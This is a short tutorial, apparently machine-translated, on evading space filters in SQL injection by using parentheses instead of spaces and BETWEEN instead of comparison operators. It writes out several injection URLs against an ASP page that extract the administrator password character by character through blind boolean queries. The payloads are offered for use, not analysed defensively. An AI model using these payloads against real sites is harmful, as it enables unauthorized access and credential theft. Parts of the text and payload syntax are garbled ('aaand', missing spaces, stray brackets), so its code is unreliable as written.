For SQL statements, we are still used to their spaces. For example, select id from [name]. If there is no space in the middle, it becomes selectidfrom [name!
There are many Replacement Methods for spaces, such as TAB spaces and/**/in the SQL database. Apart from the replacement methods mentioned above, I found that () parentheses can be run in the same SQL statement. For example, the preceding statement can be written as select (id) from [name], which is separated by parentheses and can be executed normally.
For example, let's get an injection point: jmdcw. asp? Name = aaand 1 = 1 and =, If you replace 1 = 1 With the statement to query the administrator password:
(Select asc (mid (pass, 1, 1) from [name] where id = 1)> 49.
How to Use spaces? It can be written as follows:
Jmdcw. asp? Name = aaand (select (asc (mid (pass, 1, 1) from [name] where (id = 1)> 49) and =
If the <and> symbols are blocked, use... And ..., Statement:
Jmdcw. asp? Name = aaand (select (asc (mid (pass, 1, 1) from [name] where (id = 1) between (40) and (50) and =
() Should be used to replace spaces in the middle. However, it is not easy to use complicated SQL statements. The above mentioned is the numeric type. If it is a numeric type, you can add a bracket after id = 1, but I did not test this,
For example: jmdcw. asp? Id = (1) and (select...), should it be feasible?